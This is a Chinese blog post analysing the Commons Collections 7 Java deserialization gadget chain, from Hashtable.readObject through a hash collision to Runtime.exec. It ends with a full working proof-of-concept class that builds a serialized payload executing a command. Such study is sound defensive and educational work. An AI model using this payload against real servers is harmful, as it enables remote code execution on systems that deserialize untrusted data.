CommonsCollections7利用链分析

CommonsCollections7利用链分析

原理

CC7这条链和上一条CC5差不多,也是用了别的反序列化入口方法,然后走到LazyMap.get()方法后就沿着CC1链的后半部分继续走了。这次用到的入口方法是Hashtable.readObject(),yso中的调用链如下:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

代码分析

cc7后半段与cc1相同,前半段(如何触发LazyMap.get())不同,老规矩,先把相同部分的payload抄下来。

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[]{ null, new Object[0]} ),
        new InvokerTransformer("exec",
                new Class[] { String.class },
                new String[] { "calc" }),
        new ConstantTransformer(1),
};
Transformer chainedTransformer = new  ChainedTransformer(new Transformer[]{});

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

在cc1中是通过AnnotationInvocationHandler.invoke来触发对恶意代理handler调用其invoke()方法从而触发LazyMap.get()方法。

而cc7中更加的直接,通过AbstractMap.equals()来触发对LazyMap.get()方法的调用:

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<K,V> m = (Map<K,V>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

可以最后的部分有个m.get()的调用,如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。

先寻找调用equals()方法的点,CC7中使用了HashTable.reconstitutionPut()

private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = hash(key);
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    Entry<K,V> e = tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

这里对传进的Entry对象数组进行了循环,逐个调用e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。

接着找到了在HashTable.readObject()中调用了reconstitutionPut()方法,并将key传递进去:

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;

    Entry<K,V>[] newTable = new Entry[length];
    threshold = (int) Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;
    initHashSeedAsNeeded(length);

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        K key = (K)s.readObject();
        V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(newTable, key, value);
    }
    this.table = newTable;
}

链已经分析完了,接下来就是看如何对参数进行控制的问题了。Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,因此HashTable.readObject()方法里面的key和value实际上就是使用HashTable.put()方法放进去的键值对。

因此这里就是创建Hashtable对象,然后使用put()方法将构造好的LazyMap对象放进去:

Hashtable hashtable = new Hashtable();
hashtable.put(outerMap, 1);

然后用反射把transformerChain对象中临时的transformers换成恶意的transformers数组:

setFieldValue(transformerChain, "iTransformers", transformers);

此时的POC:

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[]{ null, new Object[0]} ),
        new InvokerTransformer("exec",
                new Class[] { String.class },
                new String[] { "calc" }),
        new ConstantTransformer(1),
};
Transformer chainedTransformer = new  ChainedTransformer(new Transformer[]{});

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(outerMap, 1);

setFieldValue(chainedTransformer, "iTransformers", transformers);

serialize(hashtable);
unserialize("ser.bin");

我们运行该POC却无事发生,下面是debug环节,看下yso里面是怎么写的:

image-20220502145446675

在这段代码中,实例化了两个HashMap,并对两个HashMap使用了LazyMap将transformerChain和HashMap

绑定到一起。然后分别添加到Hashtable中。

  • 为什么要调用两次put()?

我们需要调用的e.key.equal()方法是在for循环里面的,需要进入到这for循环才能调用。

HashtablereconstitutionPut()方法是被遍历调用的,

第一次调用的时候,并不会走入到reconstitutionPut()方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。

image-20220502150321840

在第二次调用reconstitutionPut()时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals()方法。这也是为什么要调用两次put的原因。

  • 为什么调用的两次put()其中map中key的值分别为yy和zZ?
image-20220502153515987

第二次调用reconstitutionPut()进入到for循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过(e.hash == hash)判断为真才能走到我们想要的e.key.equal()方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的key.hashCode()得到的,也就是说lazyMap1的hash值就是 "yy".hashCode() ,lazyMap2的hash值就是 "zZ".hashCode() ,而在java中有一个小bug:

"yy".hashCode() == "zZ".hashCode()

yyzZhashCode()计算出来的值是一样的。正是这个小bug让这里能够利用,所以这里我们需要将map中put()的值设置为yyzZ,才能走到我们想要的e.key.equal()方法中。

  • 为什么在调用完HashTable.put()之后,还需要在map2中remove()掉yy?

这是因为HashTable.put()实际上也会调用到equals()方法:

public synchronized V put(K key, V value) {
    // Make sure the value is not null
    if (value == null) {
        throw new NullPointerException();
    }

    // Makes sure the key is not already in the hashtable.
    Entry<?,?> tab[] = table;
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    @SuppressWarnings("unchecked")
    Entry<K,V> entry = (Entry<K,V>)tab[index];
    for(; entry != null ; entry = entry.next) {
        if ((entry.hash == hash) && entry.key.equals(key)) {
            V old = entry.value;
            entry.value = value;
            return old;
        }
    }

    addEntry(hash, key, value, index);
    return null;
}

当调用完equals()方法后,LazyMap2的key中就会增加一个yy键:

image-20220502155245259

这就不能满足hash碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足hash碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。

完整POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
//        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[]{ null, new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] { String.class },
                        new String[] { "calc" }),
        };

        Transformer chainedTransformer = new  ChainedTransformer(new Transformer[]{});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);
        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        setFieldValue(chainedTransformer, "iTransformers", transformers);
        lazyMap2.remove("yy");
        serialize(hashtable);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结

直接上图吧,学到最后一条CC链给我的感觉就是把前面CC1,CC3,CC6,CC4这四条学了之后,后面的就是知识入口方法有区别,最后还是会走回到Transformer.transform()方法去进行调用恶意方法,所以初学Java反序列化的新手,咋一看CC链又多又复杂,其实只要把前面的熬过去了,后面就触类旁通了。

image-20220502113116168

参考资料

apache-commons-collections7反序列化链分析

Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇